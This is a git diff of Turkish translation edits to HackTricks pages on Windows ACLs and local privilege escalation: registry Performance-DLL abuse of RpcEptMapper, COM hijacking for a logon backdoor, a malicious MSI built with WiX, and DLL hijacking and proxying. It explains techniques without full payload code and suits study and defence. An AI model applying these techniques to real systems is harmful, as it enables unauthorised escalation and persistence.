bir klasöre erişimi yönetirken, Erişim Kontrol Listeleri (ACL'ler) ve Erişim Kontrol Girişleri (ACE'ler) olarak bilinen listeleri ve kuralları kullanırız. Bu kurallar, kimin belirli verilere erişip erişemeyeceğini tanımlar. +Kaynaklara erişimi yönetirken, bir klasör gibi, Erişim Kontrol Listeleri (ACL'ler) ve Erişim Kontrol Girişleri (ACE'ler) olarak bilinen listeleri ve kuralları kullanırız. Bu kurallar, belirli verilere kimin erişip erişemeyeceğini tanımlar. #### Belirli Bir Gruba Erişimi Reddetmek -Diyelim ki Cost adında bir klasörünüz var ve herkesin erişmesini istiyorsunuz, ancak pazarlama ekibinin erişimini istemiyorsunuz. Kuralları doğru bir şekilde ayarlayarak, pazarlama ekibinin erişiminin açıkça reddedildiğinden emin olabiliriz; bu, pazarlama ekibine erişimi reddeden kuralı, herkesin erişimine izin veren kuraldan önce yerleştirerek yapılır. +Diyelim ki "Maliyet" adında bir klasörünüz var ve herkesin erişmesini istiyorsunuz, ancak pazarlama ekibinin erişimini istemiyorsunuz. Kuralları doğru bir şekilde ayarlayarak, pazarlama ekibinin erişiminin açıkça reddedildiğinden emin olabiliriz; bu, pazarlama ekibine erişimi reddeden kuralı, diğer herkesin erişimine izin veren kuraldan önce yerleştirerek yapılır. #### Reddedilen Bir Grubun Belirli Bir Üyesine Erişime İzin Vermek -Diyelim ki, pazarlama direktörü Bob'un Cost klasörüne erişime ihtiyacı var, oysa pazarlama ekibinin genel olarak erişimi olmamalı. Bob için erişim izni veren belirli bir kural (ACE) ekleyebiliriz ve bunu pazarlama ekibine erişimi reddeden kuraldan önce yerleştirebiliriz. Bu şekilde, Bob, ekibinin genel kısıtlamasına rağmen erişim alır. +Diyelim ki, pazarlama direktörü Bob'un Maliyet klasörüne erişime ihtiyacı var, oysa pazarlama ekibinin genel olarak erişimi olmamalı. Bob'a erişim veren belirli bir kural (ACE) ekleyebiliriz ve bunu pazarlama ekibine erişimi reddeden kuraldan önce yerleştirebiliriz. Bu şekilde, Bob, ekibinin genel kısıtlamasına rağmen erişim alır. #### Erişim Kontrol Girişlerini Anlamak -ACE'ler, bir ACL içindeki bireysel kurallardır. Kullanıcıları veya grupları tanımlar, hangi erişimin izin verildiğini veya reddedildiğini belirtir ve bu kuralların alt öğelere (miras) nasıl uygulanacağını belirler. İki ana ACE türü vardır: +ACE'ler, bir ACL'deki bireysel kurallardır. Kullanıcıları veya grupları tanımlar, hangi erişimin izin verildiğini veya reddedildiğini belirtir ve bu kuralların alt öğelere (miras) nasıl uygulanacağını belirler. İki ana ACE türü vardır: -- **Genel ACE'ler:** Bu kurallar geniş bir şekilde uygulanır; tüm nesne türlerini etkileyebilir veya yalnızca konteynerler (klasörler gibi) ile konteyner olmayanlar (dosyalar gibi) arasında ayrım yapabilir. Örneğin, kullanıcıların bir klasörün içeriğini görmesine izin veren ancak içindeki dosyalara erişmesine izin vermeyen bir kural. -- **Nesne-Özel ACE'ler:** Bu kurallar daha hassas kontrol sağlar; belirli nesne türleri veya bir nesne içindeki bireysel özellikler için kurallar belirlenmesine izin verir. Örneğin, bir kullanıcılar dizininde, bir kullanıcının telefon numarasını güncellemesine izin veren ancak giriş saatlerini güncellemesine izin vermeyen bir kural olabilir. +- **Genel ACE'ler:** Bunlar geniş bir şekilde uygulanır, tüm nesne türlerini etkiler veya yalnızca konteynerler (klasörler gibi) ile konteyner olmayanlar (dosyalar gibi) arasında ayrım yapar. Örneğin, kullanıcıların bir klasörün içeriğini görmesine izin veren ancak içindeki dosyalara erişmesine izin vermeyen bir kural. +- **Nesne-Özel ACE'ler:** Bunlar daha hassas kontrol sağlar, belirli nesne türleri veya bir nesne içindeki bireysel özellikler için kuralların ayarlanmasına izin verir. Örneğin, bir kullanıcılar dizininde, bir kullanıcının telefon numarasını güncellemesine izin veren ancak giriş saatlerini güncellemesine izin vermeyen bir kural olabilir. Her ACE, kuralın kime uygulandığı (bir Güvenlik Tanımlayıcısı veya SID kullanarak), kuralın neyi izin verdiği veya reddettiği (bir erişim maskesi kullanarak) ve diğer nesneler tarafından nasıl miras alındığı gibi önemli bilgileri içerir. #### ACE Türleri Arasındaki Temel Farklar - **Genel ACE'ler**, nesnenin tüm yönlerine veya bir konteyner içindeki tüm nesnelere aynı kuralın uygulandığı basit erişim kontrol senaryoları için uygundur. -- **Nesne-Özel ACE'ler**, özellikle Active Directory gibi ortamlarda, bir nesnenin belirli özelliklerine farklı şekilde erişimi kontrol etmeniz gerektiğinde daha karmaşık senaryolar için kullanılır. +- **Nesne-Özel ACE'ler**, özellikle Active Directory gibi ortamlarda, bir nesnenin belirli özelliklerine erişimi farklı bir şekilde kontrol etmeniz gerektiğinde daha karmaşık senaryolar için kullanılır. -Özetle, ACL'ler ve ACE'ler, yalnızca doğru bireylerin veya grupların hassas bilgilere veya kaynaklara erişimini sağlamak için kesin erişim kontrolleri tanımlamaya yardımcı olur; erişim haklarını bireysel özellikler veya nesne türleri seviyesine kadar özelleştirme yeteneği ile birlikte. +Özetle, ACL'ler ve ACE'ler, yalnızca doğru bireylerin veya grupların hassas bilgilere veya kaynaklara erişimini sağlamak için kesin erişim kontrolleri tanımlamaya yardımcı olur ve erişim haklarını bireysel özellikler veya nesne türleri seviyesine kadar özelleştirme yeteneği sunar. ### Erişim Kontrol Girişi Düzeni | ACE Alanı | Açıklama | | ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Tür | ACE türünü belirten bayrak. Windows 2000 ve Windows Server 2003, tüm güvenli nesnelere eklenebilen üç genel ACE türü ve Active Directory nesneleri için meydana gelebilecek üç nesne-özel ACE türü destekler. | +| Tür | ACE türünü belirten bayrak. Windows 2000 ve Windows Server 2003, tüm güvenli nesnelere eklenmiş üç genel ACE türü ve Active Directory nesneleri için oluşabilen üç nesne-özel ACE türü destekler. | | Bayraklar | Miras ve denetimi kontrol eden bit bayrakları seti. | -| Boyut | ACE için tahsis edilen bellek bayt sayısı. | -| Erişim maskesi | Nesne için erişim haklarına karşılık gelen bitleri içeren 32 bitlik değer. Bitler ya açık ya da kapalı olarak ayarlanabilir, ancak ayarın anlamı ACE türüne bağlıdır. Örneğin, izinleri okuma hakkına karşılık gelen bit açıldığında ve ACE türü Reddet ise, ACE nesnenin izinlerini okuma hakkını reddeder. Aynı bit açıldığında ancak ACE türü İzin Ver ise, ACE nesnenin izinlerini okuma hakkını verir. Erişim maskesinin daha fazla ayrıntısı bir sonraki tabloda yer almaktadır. | +| Boyut | ACE için tahsis edilen bellek byte sayısı. | +| Erişim maskesi | Nesne için erişim haklarına karşılık gelen bitlerin bulunduğu 32 bitlik değer. Bitler ya açık ya da kapalı olarak ayarlanabilir, ancak ayarın anlamı ACE türüne bağlıdır. Örneğin, izinleri okuma hakkına karşılık gelen bit açıldığında ve ACE türü Reddet ise, ACE nesnenin izinlerini okuma hakkını reddeder. Aynı bit açıldığında ancak ACE türü İzin Ver ise, ACE nesnenin izinlerini okuma hakkını verir. Erişim maskesinin daha fazla ayrıntısı bir sonraki tabloda yer almaktadır. | | SID | Bu ACE tarafından kontrol edilen veya izlenen bir kullanıcı veya grubu tanımlar. | ### Erişim Maskesi Düzeni diff --git a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md index eef0a2c24..0a0970955 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md +++ b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md @@ -9,19 +9,19 @@ Mevcut kullanıcı tarafından yazılabilir iki kayıt defteri anahtarı bulundu - **`HKLM\SYSTEM\CurrentControlSet\Services\Dnscache`** - **`HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`** -**RpcEptMapper** hizmetinin izinlerini **regedit GUI** kullanarak kontrol etmenin önerildiği belirtildi, özellikle **Gelişmiş Güvenlik Ayarları** penceresinin **Geçerli İzinler** sekmesi. Bu yaklaşım, her Erişim Kontrol Girişi'ni (ACE) ayrı ayrı incelemeden belirli kullanıcılar veya gruplara verilen izinlerin değerlendirilmesini sağlar. +**RpcEptMapper** hizmetinin izinlerini **regedit GUI** kullanarak kontrol etmenin önerildiği belirtildi, özellikle **Gelişmiş Güvenlik Ayarları** penceresinin **Etkin İzinler** sekmesi. Bu yaklaşım, her Erişim Kontrol Girişi'ni (ACE) ayrı ayrı incelemeden belirli kullanıcılar veya gruplara verilen izinlerin değerlendirilmesini sağlar. Düşük ayrıcalıklı bir kullanıcıya atanan izinleri gösteren bir ekran görüntüsü, **Create Subkey** izninin dikkat çekici olduğunu ortaya koydu. Bu izin, **AppendData/AddSubdirectory** olarak da adlandırılmakta olup, scriptin bulgularıyla örtüşmektedir. -Belirli değerleri doğrudan değiştirme yeteneğinin olmaması, ancak yeni alt anahtarlar oluşturma yeteneğinin bulunması kaydedildi. Öne çıkan bir örnek, **ImagePath** değerini değiştirme girişimiydi ve bu, erişim reddedildi mesajıyla sonuçlandı. +Belirli değerleri doğrudan değiştirme yeteneğinin olmaması, ancak yeni alt anahtarlar oluşturma yeteneğinin olduğu kaydedildi. Öne çıkan bir örnek, **ImagePath** değerini değiştirme girişimiydi ve bu, erişim reddedildi mesajıyla sonuçlandı. Bu sınırlamalara rağmen, **RpcEptMapper** hizmetinin kayıt defteri yapısında varsayılan olarak mevcut olmayan **Performance** alt anahtarını kullanma olasılığı ile ayrıcalık yükseltme potansiyeli belirlendi. Bu, DLL kaydı ve performans izleme imkanı sağlayabilir. **Performance** alt anahtarı ve performans izleme için kullanımı hakkında belgeler incelendi ve bir kanıt konsepti DLL'si geliştirildi. **OpenPerfData**, **CollectPerfData** ve **ClosePerfData** fonksiyonlarının uygulanmasını gösteren bu DLL, **rundll32** aracılığıyla test edildi ve başarılı bir şekilde çalıştığı doğrulandı. -Amaç, **RPC Endpoint Mapper hizmetini** oluşturulan Performans DLL'sini yüklemeye zorlamaktı. Gözlemler, PowerShell aracılığıyla Performans Verileri ile ilgili WMI sınıf sorgularının yürütülmesinin bir günlük dosyası oluşturduğunu ve böylece **LOCAL SYSTEM** bağlamında keyfi kod yürütülmesine olanak tanıdığını ortaya koydu, bu da yükseltilmiş ayrıcalıklar sağladı. +Amaç, **RPC Endpoint Mapper hizmetini** oluşturulan Performans DLL'sini yüklemeye zorlamaktı. Gözlemler, PowerShell aracılığıyla Performans Verileri ile ilgili WMI sınıf sorgularının yürütülmesinin bir günlük dosyası oluşturduğunu ve böylece **LOCAL SYSTEM** bağlamında keyfi kod yürütülmesine olanak tanıdığını, dolayısıyla yükseltilmiş ayrıcalıklar sağladığını ortaya koydu. -Bu güvenlik açığının kalıcılığı ve potansiyel etkileri vurgulandı, post-exploitation stratejileri, yan hareket ve antivirüs/EDR sistemlerinden kaçınma ile ilgili önemine dikkat çekildi. +Bu güvenlik açığının kalıcılığı ve potansiyel etkileri vurgulandı, post-exploitation stratejileri, yan hareket ve antivirüs/EDR sistemlerinden kaçınma açısından önemine dikkat çekildi. Güvenlik açığının başlangıçta script aracılığıyla istemeden ifşa edildiği belirtilse de, istismarının eski Windows sürümleriyle (örneğin, **Windows 7 / Server 2008 R2**) sınırlı olduğu ve yerel erişim gerektirdiği vurgulandı. diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index e7e338a8b..05ab719ae 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -72,6 +72,6 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -O zaman, sadece HKCU kaydını oluşturabilirsiniz ve kullanıcı her oturum açtığında, arka kapınız çalıştırılacaktır. +O zaman, sadece HKCU kaydını oluşturabilirsiniz ve kullanıcı her giriş yaptığında, arka kapınız çalıştırılacaktır. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index c6e45f6e0..2ebbe39a6 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -4,7 +4,7 @@ MSI yükleyicisinin oluşturulması wixtools kullanılarak yapılacaktır, özellikle [wixtools](http://wixtoolset.org) kullanılacaktır. Alternatif MSI oluşturucularının denendiği, ancak bu özel durumda başarılı olunamadığı belirtilmelidir. -Wix MSI kullanım örnekleri hakkında kapsamlı bir anlayış için, [bu sayfayı](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) incelemeniz önerilir. Burada, wix MSI kullanımını gösteren çeşitli örnekler bulabilirsiniz. +Wix MSI kullanım örnekleri hakkında kapsamlı bir anlayış için, [bu sayfaya](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) danışılması önerilir. Burada, wix MSI kullanımını gösteren çeşitli örnekler bulabilirsiniz. Amaç, lnk dosyasını çalıştıracak bir MSI oluşturmaktır. Bunu başarmak için aşağıdaki XML kodu kullanılabilir ([xml buradan](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)): ```markup @@ -52,7 +52,7 @@ light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix ``` Önceki komutla benzer şekilde, komutu ve çıktısını gösteren bir resim gönderide yer almaktadır. -Bu özetin değerli bilgiler sağlamayı amaçladığını lütfen unutmayın, ancak daha kapsamlı detaylar ve doğru talimatlar için orijinal gönderiye başvurulması önerilir. +Bu özetin değerli bilgiler sağlamayı amaçladığını lütfen unutmayın, ancak daha kapsamlı detaylar ve doğru talimatlar için orijinal gönderiye başvurmanız önerilir. ## Referanslar diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md index f474427ca..edb66e764 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md @@ -10,7 +10,7 @@ DLL Hijacking, güvenilir bir uygulamanın kötü niyetli bir DLL yüklemesini s ### Yaygın Teknikler -DLL hijacking için birkaç yöntem kullanılmaktadır ve her birinin etkinliği, uygulamanın DLL yükleme stratejisine bağlıdır: +DLL hijacking için birkaç yöntem kullanılmaktadır, her biri uygulamanın DLL yükleme stratejisine bağlı olarak etkinliği değişir: 1. **DLL Değiştirme**: Gerçek bir DLL'i kötü niyetli bir DLL ile değiştirmek, isteğe bağlı olarak orijinal DLL'in işlevselliğini korumak için DLL Proxying kullanmak. 2. **DLL Arama Sırası Kaçırma**: Kötü niyetli DLL'i meşru olanın önünde bir arama yoluna yerleştirmek, uygulamanın arama desenini istismar etmek. @@ -42,7 +42,7 @@ Ayrıcalıkları yükseltmek için en iyi şansımız, **bir ayrıcalıklı sür **DLL'lerin nasıl yüklendiğini** [**Microsoft belgelerinde**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) bulabilirsiniz. -**Windows uygulamaları**, belirli bir sıraya uyarak **önceden tanımlanmış arama yolları** setini takip ederek DLL'leri arar. DLL hijacking sorunu, zararlı bir DLL'in bu dizinlerden birine stratejik olarak yerleştirilmesiyle ortaya çıkar ve bu, meşru DLL'den önce yüklenmesini sağlar. Bunu önlemenin bir çözümü, uygulamanın ihtiyaç duyduğu DLL'lere atıfta bulunurken mutlak yollar kullanmasını sağlamaktır. +**Windows uygulamaları**, belirli bir sıraya uyarak **önceden tanımlanmış arama yolları** setini takip ederek DLL'leri arar. DLL hijacking sorunu, zararlı bir DLL'in bu dizinlerden birine stratejik olarak yerleştirilmesiyle ortaya çıkar, böylece meşru DLL'den önce yüklenmesi sağlanır. Bunu önlemenin bir çözümü, uygulamanın ihtiyaç duyduğu DLL'lere atıfta bulunurken mutlak yollar kullanmasını sağlamaktır. Aşağıda **32-bit** sistemlerde **DLL arama sırasını** görebilirsiniz: @@ -51,7 +51,7 @@ Aşağıda **32-bit** sistemlerde **DLL arama sırasını** görebilirsiniz: 3. 16-bit sistem dizini. Bu dizinin yolunu elde eden bir fonksiyon yoktur, ancak arama yapılır. (_C:\Windows\System_) 4. Windows dizini. Bu dizinin yolunu almak için [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) fonksiyonunu kullanın. (_C:\Windows_) 5. Geçerli dizin. -6. PATH ortam değişkeninde listelenen dizinler. Bunun, **App Paths** kayıt defteri anahtarı tarafından belirtilen uygulama başına yolu içermediğini unutmayın. **App Paths** anahtarı, DLL arama yolunu hesaplarken kullanılmaz. +6. PATH ortam değişkeninde listelenen dizinler. Bunun, **App Paths** kayıt defteri anahtarı tarafından belirtilen uygulama başına yolu içermediğini unutmayın. **App Paths** anahtarı, DLL arama yolunu hesaplama sırasında kullanılmaz. Bu, **SafeDllSearchMode** etkin olduğunda **varsayılan** arama sırasıdır. Devre dışı bırakıldığında, geçerli dizin ikinci sıraya yükselir. Bu özelliği devre dışı bırakmak için, **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** kayıt defteri değerini oluşturun ve 0 olarak ayarlayın (varsayılan etkin). @@ -63,21 +63,21 @@ Arama sırasını değiştirmek için başka yollar da vardır, ancak bunları b #### Windows belgelerinden dll arama sırasındaki istisnalar -Windows belgelerinde standart DLL arama sırasına belirli istisnalar belirtilmiştir: +Standart DLL arama sırasına belirli istisnalar Windows belgelerinde belirtilmiştir: - **Bellekte zaten yüklenmiş bir DLL ile aynı adı paylaşan bir DLL** ile karşılaşıldığında, sistem genellikle aramayı atlar. Bunun yerine, yönlendirme ve bir manifest kontrolü yapar ve ardından bellekteki zaten yüklenmiş DLL'e geri döner. **Bu senaryoda, sistem DLL için bir arama yapmaz**. - DLL, mevcut Windows sürümü için **bilinen bir DLL** olarak tanındığında, sistem, arama sürecini atlayarak, bilinen DLL'in kendi sürümünü ve bağımlı DLL'lerini kullanır. Kayıt defteri anahtarı **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**, bu bilinen DLL'lerin bir listesini tutar. -- Eğer bir **DLL bağımlılıkları varsa**, bu bağımlı DLL'ler için arama, yalnızca **modül adlarıyla** gösterilmiş gibi gerçekleştirilir, başlangıçta DLL'in tam yoluyla tanımlanıp tanımlanmadığına bakılmaksızın. +- Eğer bir **DLL bağımlılıkları varsa**, bu bağımlı DLL'ler için arama, yalnızca **modül adlarıyla** belirtilmiş gibi gerçekleştirilir, başlangıçta DLL'in tam yoluyla tanımlanıp tanımlanmadığına bakılmaksızın. ### Ayrıcalıkları Yükseltme **Gereksinimler**: -- **Farklı ayrıcalıklar** altında çalışan veya çalışacak bir süreci (yatay veya yan hareket) tanımlayın, bu süreç **bir DLL'den yoksun**. +- **Farklı ayrıcalıklar** altında çalışan veya çalışacak bir süreci (yatay veya yan hareket) tanımlayın, bu süreç **bir DLL'den yoksundur**. - **DLL**'nin **arama yapılacak** herhangi bir **dizinde yazma erişiminin** mevcut olduğundan emin olun. Bu konum, yürütülebilir dosyanın dizini veya sistem yolundaki bir dizin olabilir. -Evet, gereksinimler bulması zor çünkü **varsayılan olarak, ayrıcalıklı bir yürütülebilir dosyanın eksik bir dll bulması garip** ve **sistem yolu dizininde yazma izinlerine sahip olmak daha da garip** (varsayılan olarak olamazsınız). Ancak, yanlış yapılandırılmış ortamlarda bu mümkündür.\ -Eğer şanslıysanız ve gereksinimleri karşıladığınızı bulursanız, [UACME](https://github.com/hfiref0x/UACME) projesine göz atabilirsiniz. Projenin **ana hedefi UAC'yi atlatmak olsa da**, orada kullanabileceğiniz Windows sürümü için bir Dll hijacking **PoC** bulabilirsiniz (muhtemelen sadece yazma izinlerinizin olduğu dizinin yolunu değiştirerek). +Evet, gereksinimler, **varsayılan olarak ayrıcalıklı bir yürütülebilir dosyanın eksik bir dll bulmasının garip olması** nedeniyle bulması zor. Ayrıca, **sistem yolu dizininde yazma izinlerine sahip olmak** (varsayılan olarak yapamazsınız) daha da garip. Ancak, yanlış yapılandırılmış ortamlarda bu mümkündür.\ +Eğer şanslıysanız ve gereksinimleri karşıladığınızı bulursanız, [UACME](https://github.com/hfiref0x/UACME) projesine göz atabilirsiniz. Projenin **ana hedefi UAC'yi atlatmak olsa da**, orada kullanabileceğiniz (muhtemelen yazma izinlerinizin olduğu dizinin yolunu değiştirerek) Windows sürümü için bir Dll hijacking **PoC** bulabilirsiniz. Bir dizindeki **izinlerinizi kontrol edebileceğinizi** unutmayın: ```bash @@ -93,7 +93,7 @@ Bir yürütülebilir dosyanın içe aktarımlarını ve bir dll'nin dışa aktar dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /export /path/file.dll ``` -Tam yetki yükseltmek için **Dll Hijacking'i kötüye kullanma** hakkında tam bir rehber için: +Tam yetki yükseltmek için **Dll Hijacking'i kötüye kullanma** hakkında tam bir rehber için kontrol edin: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -106,14 +106,14 @@ Bu açığı keşfetmek için diğer ilginç otomatik araçlar **PowerSploit fon ### Örnek -Eğer istismar edilebilir bir senaryo bulursanız, başarılı bir şekilde istismar etmek için en önemli şeylerden biri **çalıştırılacak dosyanın içe aktaracağı tüm fonksiyonları en azından dışa aktaran bir dll oluşturmak** olacaktır. Yine de, Dll Hijacking'in [Orta Bütünlük seviyesinden Yüksek **(UAC'yi atlayarak)**](../authentication-credentials-uac-and-efs.md#uac) veya [**Yüksek Bütünlükten SYSTEM'e**](./#from-high-integrity-to-system)** geçmek için kullanışlı olduğunu unutmayın.** Geçerli bir dll oluşturmanın nasıl yapılacağına dair bir örneği, yürütme için dll hijacking'e odaklanan bu dll hijacking çalışmasında bulabilirsiniz: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ +Eğer istismar edilebilir bir senaryo bulursanız, başarılı bir şekilde istismar etmek için en önemli şeylerden biri **çalıştırılacak dosyanın içe aktaracağı tüm fonksiyonları en azından dışa aktaran bir dll oluşturmak** olacaktır. Yine de, Dll Hijacking'in [Orta Bütünlük seviyesinden Yüksek **(UAC'yi atlayarak)**](../authentication-credentials-uac-and-efs.md#uac) veya [**Yüksek Bütünlükten SYSTEM'e**](./#from-high-integrity-to-system)** yükselmek için kullanışlı olduğunu unutmayın.** Geçerli bir dll oluşturma hakkında bir örneği, yürütme için dll hijacking'e odaklanan bu dll hijacking çalışmasında bulabilirsiniz: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ Ayrıca, **bir sonraki bölümde** bazı **temel dll kodları** bulabilirsiniz; bunlar **şablon** olarak veya **gerekli olmayan dışa aktarılan fonksiyonlarla bir dll oluşturmak** için faydalı olabilir. ## **Dll Oluşturma ve Derleme** ### **Dll Proxyleme** -Temelde bir **Dll proxy**, yüklendiğinde **kötü niyetli kodunuzu çalıştırabilen** ama aynı zamanda **gerçek kütüphaneye yapılan tüm çağrıları ileterek** **çalışan** bir Dll'dir. +Temelde bir **Dll proxy**, yüklendiğinde **kötü niyetli kodunuzu çalıştırabilen** ama aynı zamanda **gerçek kütüphaneye** yapılan tüm çağrıları **aktaran** ve **çalışan** bir Dll'dir. [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) veya [**Spartacus**](https://github.com/Accenture/Spartacus) aracıyla, aslında **bir çalıştırılabilir dosya belirtebilir ve proxylemek istediğiniz kütüphaneyi seçebilir** ve **proxylenmiş bir dll oluşturabilirsiniz** veya **Dll'i belirtebilir ve proxylenmiş bir dll oluşturabilirsiniz**. diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md index 5f23fd741..a600f2ad0 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md @@ -2,15 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**Bug bounty ipucu**: **Intigriti** için **kayıt olun**, **hackerlar tarafından, hackerlar için oluşturulmuş premium bir bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! - -{% embed url="https://go.intigriti.com/hacktricks" %} - ## Temel Bilgiler -DLL Hijacking, güvenilir bir uygulamanın kötü niyetli bir DLL yüklemesini manipüle etmeyi içerir. Bu terim, **DLL Spoofing, Injection ve Side-Loading** gibi birkaç taktiği kapsar. Genellikle kod yürütme, kalıcılık sağlama ve daha az yaygın olarak ayrıcalık yükseltme için kullanılır. Burada yükseltmeye odaklanılmasına rağmen, kaçırma yöntemi hedefler arasında tutarlıdır. +DLL Hijacking, güvenilir bir uygulamanın kötü niyetli bir DLL yüklemesini sağlamak için manipülasyon yapmayı içerir. Bu terim, **DLL Spoofing, Injection ve Side-Loading** gibi birkaç taktiği kapsar. Genellikle kod yürütme, kalıcılık sağlama ve daha az yaygın olarak ayrıcalık yükseltme için kullanılır. Burada yükseltmeye odaklanılsa da, kaçırma yöntemi hedefler arasında tutarlıdır. ### Yaygın Teknikler @@ -38,15 +32,15 @@ ve sadece **Dosya Sistemi Etkinliğini** göstermek: Eğer **genel olarak eksik dll'leri** arıyorsanız, bunu birkaç **saniye** çalıştırmalısınız.\ Eğer **belirli bir yürütülebilir dosya içinde eksik bir dll** arıyorsanız, **"Process Name" "contains" "\"** gibi **başka bir filtre ayarlamalı, çalıştırmalı ve olayları yakalamayı durdurmalısınız**. -## Eksik DLL'leri Sömürme +## Eksik DLL'leri İstismar Etme -Ayrıcalıkları yükseltmek için, en iyi şansımız, **bir ayrıcalıklı sürecin yüklemeye çalışacağı bir dll yazabilmektir** ve bu dll'in **arama yapılacak yerlerden birinde** olmasıdır. Bu nedenle, **orijinal dll'in** bulunduğu dizinden önce **dll'in arandığı bir dizine** yazabileceğiz (garip bir durum), ya da **dll'in arandığı bir dizine yazabileceğiz** ve orijinal **dll herhangi bir dizinde mevcut olmayacak**. +Ayrıcalıkları yükseltmek için en iyi şansımız, **bir ayrıcalıklı sürecin yüklemeye çalışacağı bir dll yazabilmektir** ve bu dll'in **arama yapılacak bir yerde** olmasıdır. Bu nedenle, **orijinal dll'in** bulunduğu dizinden önce **dll'in arandığı** bir **dizine** yazabileceğiz (garip bir durum), ya da **dll'in arandığı** bir dizine yazabileceğiz ve orijinal **dll herhangi bir dizinde mevcut değildir**. ### DLL Arama Sırası **DLL'lerin nasıl yüklendiğini** [**Microsoft belgelerinde**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) bulabilirsiniz. -**Windows uygulamaları**, belirli bir sıraya uyarak **önceden tanımlanmış arama yolları** setini takip ederek DLL'leri arar. DLL kaçırma sorunu, zararlı bir DLL'in bu dizinlerden birine stratejik olarak yerleştirilmesiyle ortaya çıkar, bu da onun gerçek DLL'den önce yüklenmesini sağlar. Bunu önlemenin bir çözümü, uygulamanın ihtiyaç duyduğu DLL'lere atıfta bulunurken mutlak yollar kullanmasını sağlamaktır. +**Windows uygulamaları**, belirli bir sıraya uyarak **önceden tanımlanmış arama yolları** setini takip ederek DLL'leri arar. DLL hijacking sorunu, zararlı bir DLL'in bu dizinlerden birine stratejik olarak yerleştirilmesiyle ortaya çıkar, böylece gerçek DLL'den önce yüklenmesi sağlanır. Bunu önlemenin bir çözümü, uygulamanın ihtiyaç duyduğu DLL'lere atıfta bulunurken mutlak yollar kullanmasını sağlamaktır. Aşağıda **32-bit** sistemlerde **DLL arama sırasını** görebilirsiniz: @@ -55,9 +49,9 @@ Aşağıda **32-bit** sistemlerde **DLL arama sırasını** görebilirsiniz: 3. 16-bit sistem dizini. Bu dizinin yolunu elde eden bir fonksiyon yoktur, ancak arama yapılır. (_C:\Windows\System_) 4. Windows dizini. Bu dizinin yolunu almak için [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) fonksiyonunu kullanın. (_C:\Windows_) 5. Geçerli dizin. -6. PATH ortam değişkeninde listelenen dizinler. Bunun, **App Paths** kayıt anahtarı tarafından belirtilen uygulama başına yolu içermediğini unutmayın. **App Paths** anahtarı, DLL arama yolunu hesaplarken kullanılmaz. +6. PATH ortam değişkeninde listelenen dizinler. Bunun, **App Paths** kayıt defteri anahtarı tarafından belirtilen uygulama başına yolu içermediğini unutmayın. **App Paths** anahtarı, DLL arama yolunu hesaplama sırasında kullanılmaz. -Bu, **SafeDllSearchMode** etkin olduğunda **varsayılan** arama sırasıdır. Devre dışı bırakıldığında, geçerli dizin ikinci sıraya yükselir. Bu özelliği devre dışı bırakmak için, **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** kayıt değerini oluşturun ve 0 olarak ayarlayın (varsayılan etkin). +Bu, 